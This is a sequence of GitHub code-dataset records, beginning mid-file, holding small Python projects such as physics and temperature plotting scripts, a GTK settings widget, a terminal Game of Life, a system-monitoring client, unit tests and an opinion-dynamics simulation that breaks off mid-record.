popt[i][1]\n \n ax.semilogy(t, Δθ[i], ',', markeredgewidth=0.0)\n ax.semilogy(t, np.exp(linear(t,popt[i][0],popt[i][1])), linewidth=3.0, label=labellam)\n \n # set labels and legend\n ax.set_ylabel('|Δθ(t)| [rad]')\n ax.text(70,1.0E-6,r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % F[i],fontsize=30)\n ax.legend()\naxes[1,0].set_xlabel('Time [s]')\n\nparams = ℓ,θ0,ω0,γ,ΩD\nF = [0.5,1.2]\nblue = '#2078b5'\n\nfig, axes = plt.subplots(2,1,sharex=True, sharey=False, squeeze=False, figsize=(6,8))\nfor i, ax in enumerate(axes.flat):\n labelF = r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % F[i]\n theta,omega = euler(t,F[i],*params)\n \n ax.scatter(theta, omega, s=1.0, color=blue, label=labelF)\n\n # set axis labels and legends\n ax.set_ylabel('ω [rad/s]')\n ax.set_xlim(-π,π)\n ax.legend(loc='upper right')\n\naxes[1,0].set_xlabel('θ(t) [rad]')\n\n# Generate more phase space data\nΔt = 2.0*π/(ΩD*100)\nlongt = np.arange(0,10000,Δt)\n\nF = [0.5,1.2]\nθ,ω = [],[]\nfor cF in F:\n th,w = euler(longt,cF,*params)\n θ.append(th)\n ω.append(w)\n\n# Get the in-phase time slices\ninPhase = []\nn = 0\nwhile True:\n m = int(2.0*π*n/(longt[1]*ΩD) + 0.5)\n if m > 1 and m < len(longt):\n inPhase.append(m)\n elif m >= len(longt):\n break\n n += 1\n\n#Exploit the ability of numpy arrays to take a list of indices as their index\ninPhaset = longt[inPhase]\n\norange = '#ff7f0f'\ncolors = orange,blue\nplt.figure(figsize=(8,8))\nfor i in range(2):\n labelF = r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % F[i]\n plt.scatter(θ[i][inPhase], ω[i][inPhase], s=1.0, color=colors[i], label=labelF)\n \nplt.title('Strange Attractors')\nplt.legend(fontsize=16)\nplt.xlabel('θ [rad]')\nplt.ylabel('ω [rad/s]')\nplt.xlim(-π,π);\n\nF = [1.35, 1.44, 1.465] \nθ0 = 0.2\nparams = ℓ,θ0,ω0,γ,ΩD\n\nfig, axes = plt.subplots(3,1,sharex=True, sharey=True, squeeze=False, figsize=(6,10))\nfor i, ax in enumerate(axes.flat):\n labelF = r'$F_\\mathrm{D} = %5.3f\\; \\mathrm{s}^{-2}$' % F[i]\n θ,ω = euler(t,F[i],*params)\n ax.plot(t, θ, label=labelF)\n ax.legend(loc=\"lower left\", frameon=True, prop={'size':16})\n \n # set axis labels\n ax.set_ylabel('θ(t) [rad]')\n \naxes[-1,0].set_xlabel('Time [s]')\n\nrun = False\nF = np.arange(0,1.5,0.0025)\nif run:\n θ = np.zeros([len(inPhase[10:]),len(F)])\n for i,cF in enumerate(F):\n th,ω = euler(longt,cF,*params)\n θ[:,i] = th[inPhase[10:]]\n np.savetxt('data/theta.dat',theta)\n\nθ = np.loadtxt('data/theta.dat')\nplt.figure(figsize=(7,7))\nfor i,cF in enumerate(F):\n plt.scatter(cF*np.ones_like(θ[:,i]), θ[:,i], s=3.0, marker=',', c=blue, edgecolors='None') \n\nplt.ylabel('θ [rad]')\nplt.xlabel(r'$F_\\mathrm{D}\\; [\\mathrm{s}^{-2}]$')\nplt.xlim(1.34,1.5);\nplt.ylim(0,π);\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/17_ChaosPendulum.py","file_name":"17_ChaosPendulum.py","file_ext":"py","file_size_in_byte":7413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30563807798","text":"#!/usr/bin/python3\n# /bin/python3\n# #####################################################\n# This script makes temperature plots of the four\n# labjack probes labeled A1,B2,C3,D4 and labeled as\n# such.\n# This script can be used anywhere by changing the\n# location of the python3 directive after #!.\n# usage: ./TempPlot.py and use default\n# or: ./TempPlot.py file_name\n# Because of the details of install on this memnog (RHEL5)\n# it is implemented through software collections (scl)\n# and the bash script ./TempPlot.sh\n#\n# N.T. BREWER 9-31-2015\n# ######################################################\n\n# ####\n# Update:\n# DVM 08-28-2018: Included update to handle file naming format on Ubuntu.\n# DVM 09-10-2018: Added ability to plot only the last 24 hours.\n# Modified to fit python code style guidelines.\n# NTB 09-17-2018: Changed file_name parsing from _ to : (@ ln 79 & 86) so naming works\n#\n# ####\n\n# IMPORTS ---------------------------------------------------------------------\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport pexpect as pxp\nimport time\nimport numpy as np\nimport sys\n# -----------------------------------------------------------------------------\n\n\n# DEFINITIONS -----------------------------------------------------------------\ndef getFileName():\n try:\n s = pxp.run('ls -rlt log/').split()[-1].decode()\n print(s)\n except IndexError:\n print('file not found: input filename')\n s = input()\n if s != '':\n return('log/'+s)\n else:\n file_name = 'log/therm-WedSep3013:45:052015.log'\n print('Warning, standard usage is: ./TempPlot.py file_name\\n' +\n 'using default file name:' + file_name)\n\n\ndef getLines(filename):\n # Maybe add way to return max number of lines\n # and check that request cannot be bigger?\n\n inf = open(filename, \"r\")\n lines = inf.readlines()\n inf.close()\n return(lines)\n# -----------------------------------------------------------------------------\n\n\n# READ IN FILE ----------------------------------------------------------------\ntry:\n file_name = sys.argv[1]\n # file_name = 'therm-TueAug1408:51:322018.log'\nexcept IndexError:\n file_name = getFileName()\n\ninf = open(file_name)\nlines = inf.readlines()\nblocks = []\n# -----------------------------------------------------------------------------\n\n# PULL DATE FROM FILE ---------------------------------------------------------\ndate = file_name.split('therm-')[-1].split('.log')[0]\nif len(date.split(':')) and len(date.split(':')) < 3:\n date = input('date not found in file name. ' +\n 'Input date as datetime format %m%d%H%M%S%Y' +\n 'i.e. Sep. 9th 2015 at 11:11:03pm is 09092311032015: ')\n s = time.mktime(time.strptime(date, '%m%d%H%M%S%Y')) + 62135665200.0\n d = s/(86400)\nelse:\n if len(date.split(':')[0]) == 9:\n date = date[0:6] + '0' + date[6:]\n if len(date.split(':')[0]) == 9:\n date = date[0:6] + '0' + date[6:]\n s = time.mktime(time.strptime(date, '%a%b%d%H:%M:%S%Y')) + 62135665200.0\n # s = time.mktime(time.strptime(date, '%a%b%d%H_%M_%S%Y')) + 62135665200.0\n d = s/(86400)\n print(d)\n\nprint('start date' + str(date))\n# -----------------------------------------------------------------------------\n\n\n# PLOT DATA POINTS ------------------------------------------------------------\n\n# Displays plot if the line below is set to True\n#dispPlot = True\ndispPlot = False\n\n# Plots just the last 24 hours if line below is set to True\n#lastDay = False\nlastDay = True\n\nif len(lines) > 1440 and lastDay:\n for i in lines[3+len(lines)-1440:]:\n blocks.append(i.split('\\t'))\nelse:\n for i in lines[3:]:\n blocks.append(i.split('\\t'))\n\ntdat = []\na1dat = []\nb2dat = []\nc3dat = []\nd4dat = []\ne5dat = []\n\nfor i in blocks:\n tdat.append(eval(i[0]) / 86400 + d)\n a1dat.append(eval(i[1]))\n b2dat.append(eval(i[2]))\n c3dat.append(eval(i[3]))\n d4dat.append(eval(i[4]))\n# e5dat.append(eval(i[5]))\n\n# print('ok')\nfig = plt.figure()\nfig.autofmt_xdate()\n\nax1 = plt.subplot(411)\nplt.plot_date(tdat, a1dat, '-')\nplt.legend(['A1'])\nplt.plot_date(tdat, a1dat, 'ko')\n\nplt.subplot(412, sharex=ax1)\nplt.plot_date(tdat, b2dat, '-')\nplt.legend(['B2'])\nplt.plot_date(tdat, b2dat, 'ko')\n\nax = plt.subplot(413, sharex=ax1)\nfig.autofmt_xdate()\nax.xaxis.set_major_locator(mdates.DayLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b%d %Y .'))\nax.xaxis.set_minor_locator(mdates.HourLocator())\nax.xaxis.set_minor_formatter(mdates.DateFormatter('%H'))\n\nplt.plot_date(tdat, c3dat, '-')\nplt.legend(['C3'])\nplt.plot_date(tdat, c3dat, 'ko')\n\nplt.subplot(414, sharex=ax1)\nfig.autofmt_xdate()\nax.xaxis.set_major_locator(mdates.DayLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b%d %Y .'))\nax.xaxis.set_minor_locator(mdates.HourLocator())\nax.xaxis.set_minor_formatter(mdates.DateFormatter('%H'))\nplt.plot_date(tdat, d4dat, '-')\nplt.legend(['D4'])\nplt.plot_date(tdat, d4dat, 'ko')\n\n# ax = plt.subplot(515)\n# fig.autofmt_xdate()\n# ax.xaxis.set_major_locator(mdates.DayLocator())\n# ax.xaxis.set_major_formatter(mdates.DateFormatter('%b%d %Y .'))\n# ax.xaxis.set_minor_locator(mdates.HourLocator())\n# ax.xaxis.set_minor_formatter(mdates.DateFormatter('%H'))\n# plt.plot_date(tdat, e5dat,'-')\n# plt.legend(['E5'])\n# plt.plot_date(tdat, e5dat,'ko')\nplt.savefig('report.png')\n\nif dispPlot:\n plt.show()\n\n# print('done')\n# -----------------------------------------------------------------------------\n","repo_name":"ntbrewer/DAQ_1","sub_path":"kelvin/TempPlot.py","file_name":"TempPlot.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"25156746327","text":"import pandas as pd\nimport re\nimport nltk, string\nfrom nltk.corpus import brown\nfrom nltk.corpus import stopwords\nfrom nltk import FreqDist\nfrom operator import itemgetter\nimport numpy as np\nfrom __future__ import division\nfrom pandas import *\n\n#Subjects\n#Missing Values\n#projects = pd.read_csv(\"projects_modified.csv\")\nindex = np.where(projects['primary_focus_subject'].isnull())[0]\nprojects.loc[index, 'primary_focus_subject'] = 'Missing'\n\ntotal_size = len(projects) \ntotal_donors = projects['num_donors'].sum()\n\nsubjects = projects['primary_focus_subject']\nsubjects = subjects.unique()\nsubjects.sort()\n\nnum_donors_sub = projects.groupby(['primary_focus_subject']).sum()['num_donors']\nsubjects_size = projects.groupby('primary_focus_subject').size()\nsubjects_prop = subjects_size / total_size\nscaled_interest_par_sub = (num_donors_sub/total_donors)**2 /subjects_prop \n\n\ndf = pd.DataFrame({'primary_focus_subject': subjects, 'scaled_interest_par_sub' : scaled_interest_par_sub.values})\nprojects_merged = pd.merge(projects, df, left_on = 'primary_focus_subject', right_on='primary_focus_subject', how='left')\n\n\n#Poverty\n#No Missing Values\npoverty = projects['poverty_level']\npoverty = poverty.unique()\npoverty.sort()\n\nnum_donors_pov = projects.groupby(['poverty_level']).sum()['num_donors']\npoverty_size = projects.groupby('poverty_level').size()\npoverty_prop = poverty_size / total_size\nscaled_interest_par_pov = (num_donors_pov/total_donors)**2 /poverty_prop\n\n\ndf = pd.DataFrame({'poverty_level': poverty, 'scaled_interest_par_pov' : scaled_interest_par_pov.values})\nprojects_merged = pd.merge(projects_merged, df, left_on = 'poverty_level', right_on='poverty_level', how='left')\nprojects_merged = projects_merged.drop('Unnamed: 0', 1)\n\n#Return missing value to NaN\nprojects = projects_merged.replace('Missing', np.nan)","repo_name":"rrruss/wise1","sub_path":"FeatureEngineering/IndividualScripts/InterestParameters.py","file_name":"InterestParameters.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8138259646","text":"import os\n\nimport gtk\n\nimport tgcm\nimport tgcm.core.Actions\nimport tgcm.core.Config\n\nimport tgcm.ui.ThemedDock\nfrom tgcm.ui.widgets.dock.ServicesToolbar import BUTTON_VISIBLE, \\\n BUTTON_NOT_VISIBLE, BUTTON_VISIBLE_IN_MORE\nfrom tgcm.ui.MSD.MSDUtils import gtk_builder_magic, replace_wrap_label\n\n\nclass Dock (gtk.HBox):\n def __init__(self, parent=None):\n gtk.HBox.__init__(self)\n\n self.conf = tgcm.core.Config.Config()\n self.conf.connect('user-prepay-changed', self.__load_services_treeview)\n self.conf.connect('launcher-items-order-changed', self.__load_services_treeview)\n self.conf.connect('last-imsi-seen-changed', self.__load_services_treeview)\n\n self.action_manager = tgcm.core.Actions.ActionManager()\n self.action_manager.connect('action-install-status-changed', \\\n self.__load_services_treeview)\n self.action_manager.connect('url-launcher-install-status-changed', \\\n self.__load_services_treeview)\n\n self.widget_dir = os.path.join(tgcm.widgets_dir, 'settings', \\\n self.__class__.__name__)\n gtk_builder_magic(self, \\\n filename=os.path.join(self.widget_dir, 'Dock.ui'), \\\n prefix='dock')\n\n if tgcm.country_support == 'uk':\n self.title_label.set_text('%s' %_('Appearance'))\n\n # -- Replace the label for wrapping\n self.top_info_label = replace_wrap_label(self.top_info_label)\n\n self.add(self.main_container)\n\n self.selected = []\n\n self.__create_services_treeview ()\n self.__load_services_treeview ()\n\n self.up_button.connect ('clicked', self.__on_up_button_clicked)\n self.down_button.connect ('clicked', self.__on_down_button_clicked)\n self.up_button.set_sensitive (False)\n self.down_button.set_sensitive (False)\n\n\n def __on_up_button_clicked (self, widget, data=None):\n self.items = self.conf.get_launcher_items_order ()\n liststore = self.services_treeview.get_model()\n iter = liststore.get_iter_first()\n count = 0\n while True:\n selected = liststore[iter][1]\n if selected and count > 0:\n tmp = self.items[count]\n self.items[count] = self.items[count-1]\n self.items[count-1] = tmp\n\n iter = liststore.iter_next (iter)\n if iter is None:\n break\n\n count = count + 1\n\n self.conf.set_launcher_items_order (self.items)\n liststore.foreach (self.__liststore_foreach_cb)\n\n def __on_down_button_clicked (self, widget, data=None):\n self.items = self.conf.get_launcher_items_order ()\n liststore = self.services_treeview.get_model()\n length = len(self.items)-1\n count = length\n while True:\n if count < 0:\n break\n\n iter = liststore.get_iter(count)\n selected = liststore[iter][1]\n if selected and count < length:\n tmp = self.items[count]\n self.items[count] = self.items[count+1]\n self.items[count+1] = tmp\n\n count = count - 1\n\n self.conf.set_launcher_items_order (self.items)\n liststore.foreach (self.__liststore_foreach_cb)\n\n def __create_services_treeview (self):\n liststore = gtk.ListStore(str, 'gboolean', str, str)\n toggle_renderer = gtk.CellRendererToggle ()\n column = gtk.TreeViewColumn('services_selected',\n toggle_renderer,\n active=1)\n self.services_treeview.append_column(column)\n column = gtk.TreeViewColumn('services_name',\n gtk.CellRendererText(),\n text=2, foreground=3)\n self.services_treeview.append_column(column)\n\n self.services_treeview.set_model(liststore)\n\n treeselection = self.services_treeview.get_selection()\n treeselection.set_mode(gtk.SELECTION_SINGLE)\n treeselection.connect('changed', self.__on_services_treeview_selection_changed)\n\n def __on_services_treeview_selection_changed (self, selection):\n if selection.count_selected_rows() > 0:\n model, paths = selection.get_selected_rows()\n self.__on_toggle_renderer_toggled (path=paths[0])\n selection.unselect_all()\n\n def __load_services_treeview(self, *args, **kwargs):\n liststore = self.services_treeview.get_model()\n liststore.clear()\n\n service_status = tgcm.ui.ThemedDock().get_service_buttons_status()\n for item in self.conf.get_launcher_items_order():\n is_selected = item in self.selected\n\n status = service_status[item]\n if status == BUTTON_VISIBLE:\n foreground = 'blue'\n elif status == BUTTON_VISIBLE_IN_MORE:\n foreground = 'black'\n else:\n foreground = 'grey'\n\n if item in tgcm.dockables_info:\n name = tgcm.dockables_info[item]\n elif item in self.conf.get_url_launchers():\n name = self.conf.get_url_launcher(item)[1]\n else:\n service = self.action_manager.get_action(item)\n name = service.get_visible_action_name()\n\n liststore.append([item, is_selected, name, foreground])\n\n def __on_toggle_renderer_toggled (self, cell=None, path=None, data=None):\n liststore = self.services_treeview.get_model()\n liststore[path][1] = not liststore[path][1]\n\n if liststore[path][1]:\n self.selected.append (liststore[path][0])\n else:\n self.selected.remove (liststore[path][0])\n\n self.up_button.set_sensitive (False)\n self.down_button.set_sensitive (False)\n liststore.foreach (self.__liststore_foreach_cb)\n\n def __liststore_foreach_cb (self, liststore, path, iter, data=None):\n selected = liststore[path][1]\n if selected:\n first_item_iter = liststore.get_iter_first()\n first_item_path = liststore.get_path(first_item_iter)\n\n last_item_iter = first_item_iter\n while True:\n item_aux = liststore.iter_next(last_item_iter)\n if item_aux is None:\n break\n else:\n last_item_iter = item_aux\n last_item_path = liststore.get_path (last_item_iter)\n\n if first_item_path != path:\n self.up_button.set_sensitive (True)\n if last_item_path != path:\n self.down_button.set_sensitive (True)\n","repo_name":"tgcmteam/tgcmlinux","sub_path":"src/tgcm/ui/widgets/settings/Dock/Dock.py","file_name":"Dock.py","file_ext":"py","file_size_in_byte":6686,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"41158660718","text":"import unittest\n\nfrom maskrcnn_benchmark.utils.metric_logger import MetricLogger\n\n\nclass TestMetricLogger(unittest.TestCase):\n def test_update(self):\n meter = MetricLogger()\n for i in range(10):\n meter.update(metric=float(i))\n \n m = meter.meters[\"metric\"]\n self.assertEqual(m.count, 10)\n self.assertEqual(m.total, 45)\n self.assertEqual(m.median, 4)\n self.assertEqual(m.avg, 4.5)\n\n def test_no_attr(self):\n meter = MetricLogger()\n _ = meter.meters\n _ = meter.delimiter\n def broken():\n _ = meter.not_existent\n self.assertRaises(AttributeError, broken)\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"NVIDIA/DeepLearningExamples","sub_path":"PyTorch/Segmentation/MaskRCNN/pytorch/tests/test_metric_logger.py","file_name":"test_metric_logger.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":11741,"dataset":"github-code","pt":"38"} +{"seq_id":"24303787674","text":"import os\nimport time\nimport random\nfrom pynput.keyboard import Listener\n\nGAMESTATE='PAUSED'\n\nFRAMERATE=100\nWIDTH=20\nHEIGHT=15\n\nBOARD=[['.' for i in range(WIDTH)] for j in range(HEIGHT)]\n\ndef print_board():\n for row in BOARD:\n ROW=''\n for col in row:\n ROW += str(col)\n print(ROW)\n\ndef generate_init_board():\n # TODO: Add a more random starting method\n # This is the weird one so I'll just \n # start with a pattern\n # FIRST: doing this pattern twice, slightly offset\n # 001000\n # 010010\n # 001100\n MID_HEIGHT=int(HEIGHT/2)\n MID_WIDTH=int(WIDTH/2)\n BOARD[MID_HEIGHT][2+MID_WIDTH] = '+'\n BOARD[MID_HEIGHT-1][2+MID_WIDTH+1] = '+'\n BOARD[MID_HEIGHT+1][2+MID_WIDTH+1] = '+'\n BOARD[MID_HEIGHT+1][2+MID_WIDTH+2] = '+'\n BOARD[MID_HEIGHT][2+MID_WIDTH+3] = '+'\n\n BOARD[1-MID_HEIGHT][2-MID_WIDTH] = '+'\n BOARD[1-MID_HEIGHT-1][2-MID_WIDTH+1] = '+'\n BOARD[1-MID_HEIGHT+1][2-MID_WIDTH+1] = '+'\n BOARD[1-MID_HEIGHT+1][2-MID_WIDTH+2] = '+'\n BOARD[1-MID_HEIGHT][2-MID_WIDTH+3] = '+'\n\n# Returns a count of the neighbours\n# of a specific node in the board in\n# a tuple object:\n# (zeros,ones), e.g., (1,2)\n# N0 <- starting on N\n# 11\n# Done in counter-clockwise fashion\ndef count_neighbours(row,col):\n # NOTE: smaller number rows are higher\n # on the board and smaller number\n # cols are more left on the board\n NUM_ZERO=0\n NUM_ONE=0\n # Check UP\n if row > 0:\n if BOARD[row-1][col] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Check UP RIGHT\n if row > 0 and col < WIDTH-1:\n if BOARD[row-1][col+1] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Check RIGHT\n if col < WIDTH-1:\n if BOARD[row][col+1] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Check DOWN RIGHT\n if row < HEIGHT-1 and col < WIDTH-1:\n if BOARD[row+1][col+1] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n \n # Check DOWN\n if row < HEIGHT-1:\n if BOARD[row+1][col] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Check DOWN LEFT\n if row < HEIGHT-1 and col > 0:\n if BOARD[row+1][col-1] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Check LEFT\n if col > 0:\n if BOARD[row][col-1] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Check UP LEFT\n if row > 0 and col > 0:\n if BOARD[row-1][col-1] == '+':\n NUM_ONE += 1\n else:\n NUM_ZERO += 1\n\n # Return the tuple\n return (NUM_ZERO,NUM_ONE)\n\ndef step():\n for row in range(HEIGHT):\n for col in range(WIDTH):\n ZEROS,ONES = count_neighbours(row,col)\n if BOARD[row][col] == '.':\n if ONES == 3:\n BOARD[row][col] = '+'\n elif ONES < 2 or ONES > 3:\n BOARD[row][col] = '.'\n\n# Get time in ms\ndef current_time():\n return round(time.time() * 1000)\n\n# Clear screen\ndef clear_screen():\n if os.name == 'posix':\n os.system('clear')\n else:\n os.system('cls')\n\n#### Pynput stuff\ndef on_press(key):\n global GAMESTATE\n try:\n if key.char == 'p':\n if GAMESTATE=='RUNNING':\n GAMESTATE='PAUSED'\n else:\n GAMESTATE='RUNNING'\n except AttributeError:\n pass\n\n# Do nothing\ndef on_release(key):\n pass\n\n# Game loop over specified frame rate\ndef loop():\n global GAMESTATE\n listener = Listener(on_press=on_press, on_release=on_release)\n listener.start()\n LAST_FRAME_CHANGE=current_time()\n GAMESTATE = 'RUNNING'\n clear_screen()\n print_board()\n while True:\n if current_time() >= LAST_FRAME_CHANGE + FRAMERATE and GAMESTATE == 'RUNNING':\n clear_screen()\n step()\n print_board()\n LAST_FRAME_CHANGE = current_time()\n elif current_time() >= LAST_FRAME_CHANGE + FRAMERATE and GAMESTATE == 'PAUSED':\n clear_screen()\n print_board()\n print(\"PAUSED\")\n LAST_FRAME_CHANGE = current_time()\n\nif __name__ == \"__main__\":\n generate_init_board()\n loop()\n","repo_name":"jdjnovak/ConwaysGameOfLife","sub_path":"gameoflife.py","file_name":"gameoflife.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34190401233","text":"# Menggunakan Konsep Inheritance Bebas\n# Yang Satu Data Barang dan Data Harga\n# Atau Seperti Kemarin\n# Tugas ini minimal enggunakan 3 Kelas\nclass Monster:\n jumlah_harta = 0\n \n def __init__(self, inputClan, inputTeam):\n self.clan = inputClan\n self.team = inputTeam\n \n def tentangClan(self):\n print(10*\"=\"+\" Tentang Clan \"+10*\"=\")\n print(\"Nama Pasukan : \", self.clan)\n print(\"Jumlah Team : \", self.team) \n \nclass Kekuatan(Monster):\n senjata = input(\"Jenis senjata\\t: \")\n damage = int(input(\"Masukkan damage\\t: \"))\n health = int(input(\"Masukkan health\\t: \"))\n \n def tentangKekuatan(self):\n print(10*\"=\"+\" Kekuatan \"+10*\"=\")\n print(\"Nama Senjata : \", self.senjata)\n print(\"Jumlah Damage : \", self.damage)\n print(\"jumlah Health : \", self.health)\n\n harga_senjata = 30000\n harga_damage = 7500 * damage\n harga_health = 10000 * health\n harga_pasukan = harga_senjata + harga_damage + harga_health\n \n def biayaSatuan(self):\n print(10*\"=\"+\" Biaya Per-Pasukan \"+10*\"=\")\n print(\"Biaya Senjata : \", self.harga_senjata)\n print(\"Jumlah Serangan : \", self.harga_damage)\n print(\"jumlah Kesehatan : \", self.harga_health)\n print(\"Biaya PerPasukan : \", self.harga_pasukan)\n\nMonster1 = Kekuatan(\n input(\"Nama Clan\\t: \"),\n int(input(\"Jumlah Team\\t: \"))\n)\n\nclass hartaClan(Monster):\n Monster.jumlah_harta = Kekuatan.harga_pasukan * 1000\n print(10*\"=\"+\" Jumlah Harta \"+10*\"=\")\n print(\"Harta Legion\\t: \", Monster.jumlah_harta)\n\nMonster1.tentangClan()\nMonster1.tentangKekuatan()\nMonster1.biayaSatuan()","repo_name":"trebuchet-uby/python-dev","sub_path":"OOP3 Inheritance/Tugas3.PBO.AndhiPrasetyo(C20010004).py","file_name":"Tugas3.PBO.AndhiPrasetyo(C20010004).py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"26565674333","text":"import socket\nfrom threading import Thread\nimport psutil\nimport time\nimport platform\nimport datetime\ndef get_size(bytes, suffix=\"B\"):\n \"\"\"\n Scale bytes to its proper format\n e.g:\n 1253656 => '1.20MB'\n 1253656678 => '1.17GB'\n \"\"\"\n factor = 1024\n for unit in [\"\", \"K\", \"M\", \"G\", \"T\", \"P\"]:\n if bytes < factor:\n return f\"{bytes:.2f}\"\n bytes /= factor\n\ns=socket.socket()\nsleeptime = 1*30\n\ns=socket.socket()\ns.connect(('192.168.10.11',5003))\nos= platform.system()\ncpu_cores_phys = psutil.cpu_count(logical=False)\ncpu_cores_log = psutil.cpu_count(logical=True)\ncpu_freq_max = psutil.cpu_freq().max\n\n\n\n\nwhile True:\n timestamp = datetime.datetime.now()\n svmem = psutil.virtual_memory()\n memory_total = float(get_size(svmem.total))\n memory_used = float(get_size(svmem.used))\n memory_percent = svmem.percent\n system_id = socket.gethostname()\n cpu_usage = psutil.cpu_percent(interval=1)\n # cpu_temp = psutil.sensors_temperatures()\n disk_space = psutil.disk_usage('/')\n disk_percent = disk_space.percent\n disk_free = disk_space.free\n disk_used = disk_space.used\n metrics = [system_id, cpu_usage, disk_percent, disk_free, disk_used, os, cpu_cores_phys, cpu_freq_max, memory_total, memory_used, memory_percent]\n data = str(metrics)\n s.send(data.encode())\n time.sleep(sleeptime)\ns.close()\n","repo_name":"RoanWassink/MicroMonitor","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31261327579","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n.. $Id$\n\"\"\"\nfrom __future__ import print_function, unicode_literals, absolute_import, division\n__docformat__ = \"restructuredtext en\"\n\nlogger = __import__('logging').getLogger(__name__)\n\nfrom .base import _environment_renderer\n\ndef body_renderer(self):\n return _environment_renderer(self, 'document', '')\n\ndef epub_body_renderer(self):\n\tinclude_body_child = []\n\tcount_child = 0\n\tfor child in self.children:\n\t\tinclude_body_child.append(u'\\\\include{file_'+str(count_child)+ u'.tex}\\n')\n\t\tcount_child = count_child + 1\n\tresult = u''.join(include_body_child)\n\treturn u'\\\\begin{document} \\n %s \\n \\\\end{document}' %(result)","repo_name":"OpenNTI/nti.contenttools","sub_path":"src/nti/contenttools/renders/LaTeX/body.py","file_name":"body.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2653112926","text":"import unittest\nfrom classes.guest import Guest\nfrom classes.room import Room\nfrom classes.song import Song\n\nclass TestSetup(unittest.TestCase):\n def setUp(self):\n self.song1 = Song(\"Shoe Box Money\", \"Benny Sings\")\n self.song2 = Song(\"Bounding\", \"Ice Choir\")\n self.song3 = Song(\"Emergency Room\", \"Ford & Lopatin\")\n self.guest1 = Guest(\"Barry\", 10, self.song1)\n self.guest2 = Guest(\"Belinda\", 15, self.song2)\n self.guest3 = Guest(\"Bill\", 2, self.song2)\n self.guest4 = Guest(\"Bobette\", 7, self.song1)\n self.guest5 = Guest(\"Buck\", 12, self.song3)\n self.room1 = Room(2, 5)\n self.room2 = Room(5, 2)\n ","repo_name":"douglasrusse11/codeclan_caraoke_weekend_homework_02","sub_path":"tests/setup_test.py","file_name":"setup_test.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9238302955","text":"import numpy as np\nimport ndlib.models.ModelConfig as mc\nimport ndlib.models.opinions as op\nimport networkx as nx\nimport json\nfrom utils import *\nfrom aggregate import *\nfrom plots import *\nimport csv\n\ng = nx.read_edgelist('../dataset/euro2020_edgelist.csv', delimiter=',', nodetype=str)\n\ngraph = nx.relabel_nodes(g, mapping={n:int(n) for n in list(g.nodes)}, copy=True)\n\nwith open('../dataset/euro2020_t0.json', 'r') as f:\n nodelist = json.load(f)\n\nnodes = {}\nfor k, v in nodelist.items():\n nodes[int(k)] = float(v)\n\npros = {k:v for k,v in nodes.items() if v <= 0.4}\navg_pros = np.average(np.array(list(pros.values())))\ncons = {k:v for k,v in nodes.items() if v >= 0.6}\navg_cons = np.average(np.array(list(cons.values())))\nneut = {k:v for k,v in nodes.items() if v < 0.6 and v > 0.4}\navg_neut = np.average(np.array(list(neut.values())))\n\nopenmindedness = {}\nwith open('../res/euro2020_openMindedness.csv', 'r') as f:\n csv_reader = csv.reader(f)\n next(csv_reader)\n for row in csv_reader:\n openmindedness[int(row[0])] = float(row[1])\n\n# Model settings\nmedia_opinions = [[avg_pros], [avg_cons], [avg_neut], [avg_pros, avg_cons], [avg_pros, avg_cons, avg_neut]]\nmax_it = 100\ngammas, pms, epsilons = [0.0, 0.5, 1.0, 1.5], [0.1], [0.2, 0.3, 0.4, 'heterogeneous']\n\n#perform multiple runs and average results\nfor media_op in media_opinions:\n k = len(media_op)\n for gamma in gammas:\n for pm in pms:\n for epsilon in epsilons:\n respath = '../res/'\n media = \"media\" if pm == 0.5 else \"nomedia\"\n if media == 'media':\n if media_op[0] == avg_pros: \n mo='avg_pros'\n elif media_op[0] == avg_cons:\n mo='avg_cons'\n elif media_op[0] == avg_neut:\n mo='avg_neut'\n name = f'{epsilon}_g{gamma}_{media}_{mo}'\n elif media == 'nomedia':\n name = f'{epsilon}_g{gamma}_{media}'\n\n final_opinions, final_niter = read_dicts(respath, name)\n\n for run in range(1):\n if str(run) in final_opinions.keys(): \n print(f'run {run} already present. skipping.')\n run += 1\n else:\n print(f'run {run} {name}') \n\n #create model\n model = op.AlgorithmicBiasMediaModel(graph)\n\n #create configuration\n config = mc.Configuration()\n 